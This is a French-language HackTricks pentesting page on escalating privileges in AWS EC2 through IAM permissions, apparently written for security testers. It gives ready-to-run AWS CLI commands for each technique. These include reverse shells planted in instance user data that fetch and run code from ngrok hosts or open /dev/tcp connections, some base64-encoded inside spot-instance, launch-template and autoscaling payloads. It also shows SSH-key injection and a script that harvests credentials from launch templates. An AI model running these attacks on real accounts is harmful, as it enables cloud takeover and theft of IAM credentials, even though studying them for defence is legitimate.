AWS - EC2 Privesc

Support HackTricks

EC2

Pour plus d'infos sur EC2, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un attaquant pourrait créer une instance en attachant un rôle IAM puis accéder à l'instance pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées.

  • Accès via SSH

Lancez une nouvelle instance en utilisant une clé ssh créée (--key-name) puis connectez-vous via ssh (si vous souhaitez en créer une nouvelle, vous devrez peut-être avoir la permission ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accès via rev shell dans les données utilisateur

Vous pouvez exécuter une nouvelle instance en utilisant des données utilisateur (--user-data) qui vous enverront un rev shell. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :

AWS - GuardDuty Enum

Impact potentiel : Privesc direct à tout rôle EC2 attaché aux profils d'instance existants.

Privesc à ECS

Avec cet ensemble de permissions, vous pourriez également créer une instance EC2 et l'enregistrer dans un cluster ECS. De cette manière, les services ECS seront exécutés à l'intérieur de l'instance EC2 à laquelle vous avez accès et vous pourrez ensuite pénétrer ces services (conteneurs docker) et voler leurs rôles ECS attachés.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Pour apprendre à forcer les services ECS à s'exécuter dans cette nouvelle instance EC2, consultez :

AWS - ECS Privesc

Si vous ne pouvez pas créer une nouvelle instance mais avez la permission ecs:RegisterContainerInstance, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.

Impact potentiel : Privesc direct vers les rôles ECS attachés aux tâches.

iam:PassRole, iam:AddRoleToInstanceProfile

Semblable au scénario précédent, un attaquant avec ces permissions pourrait changer le rôle IAM d'une instance compromise afin de voler de nouvelles informations d'identification. Comme un profil d'instance ne peut avoir qu'un seul rôle, si le profil d'instance a déjà un rôle (cas courant), vous aurez également besoin de iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Si le profil d'instance a un rôle et que l'attaquant ne peut pas le supprimer, il existe une autre solution. Il pourrait trouver un profil d'instance sans rôle ou en créer un nouveau (iam:CreateInstanceProfile), ajouter le rôle à ce profil d'instance (comme discuté précédemment), et associer le profil d'instance compromis à une instance compromise :

  • Si l'instance n'a pas de profil d'instance (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impact potentiel : Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui lui est associé.

  • Si elle a un profil d'instance, vous pouvez supprimer le profil d'instance (ec2:DisassociateIamInstanceProfile) et l'associer *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ou remplacer le profil d'instance de l'instance compromise (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

Impact potentiel : Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).

ec2:RequestSpotInstances,iam:PassRole

Un attaquant avec les permissions ec2:RequestSpotInstancesetiam:PassRole peut demander une instance Spot avec un rôle EC2 attaché et un rev shell dans les données utilisateur. Une fois l'instance lancée, il peut voler le rôle IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaquant avec le ec2:ModifyInstanceAttribute peut modifier les attributs des instances. Parmi eux, il peut changer les données utilisateur, ce qui implique qu'il peut faire en sorte que l'instance exécute des données arbitraires. Cela peut être utilisé pour obtenir un rev shell sur l'instance EC2.

Notez que les attributs ne peuvent être modifiés que lorsque l'instance est arrêtée, donc les permissions ec2:StopInstances et ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impact potentiel : Privesc direct vers tout rôle IAM EC2 attaché à une instance créée.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaquant avec les permissions ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate et ec2:ModifyLaunchTemplate peut créer une nouvelle version de modèle de lancement avec un rev shell dans les données utilisateur et tout rôle IAM EC2 dessus, changer la version par défaut, et tout groupe Autoscaler utilisant ce modèle de lancement qui est configuré pour utiliser la dernière ou la version par défaut va relancer les instances en utilisant ce modèle et exécutera le rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impact potentiel : Privesc direct vers un rôle EC2 différent.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un attaquant avec les permissions autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole peut créer une configuration de lancement avec un rôle IAM et un rev shell à l'intérieur des données utilisateur, puis créer un groupe d'autoscaling à partir de cette configuration et attendre que le rev shell vole le rôle IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impact potentiel : Privesc direct vers un rôle EC2 différent.

!autoscaling

L'ensemble des permissions ec2:CreateLaunchTemplate et autoscaling:CreateAutoScalingGroup n'est pas suffisant pour escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans la Configuration de Lancement ou dans le Modèle de Lancement vous avez besoin des permissions iam:PassRole et ec2:RunInstances (ce qui est un privesc connu).

ec2-instance-connect:SendSSHPublicKey

Un attaquant avec la permission ec2-instance-connect:SendSSHPublicKey peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impact potentiel : Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaquant ayant la permission ec2-instance-connect:SendSerialConsoleSSHPublicKey peut ajouter une clé ssh à une connexion série. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission ec2:EnableSerialConsoleAccess pour l'activer.

Pour se connecter au port série, vous devez également connaître le nom d'utilisateur et le mot de passe d'un utilisateur à l'intérieur de la machine.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Cette méthode n'est pas très utile pour le privesc car vous devez connaître un nom d'utilisateur et un mot de passe pour l'exploiter.

Impact potentiel : (Hautement invérifiable) Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution.

describe-launch-templates,describe-launch-template-versions

Étant donné que les modèles de lancement ont une version, un attaquant avec les permissions ec2:describe-launch-templates et ec2:describe-launch-template-versions pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les données utilisateur. Pour ce faire, le script suivant parcourt toutes les versions des modèles de lancement disponibles :

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Dans les commandes ci-dessus, bien que nous spécifions certains motifs (aws_|password|token|api), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.

En supposant que nous trouvions aws_access_key_id et aws_secret_access_key, nous pouvons utiliser ces identifiants pour nous authentifier sur AWS.

Impact potentiel : Escalade de privilèges directe vers l'utilisateur(s) IAM.

Références

Soutenir HackTricks

Last updated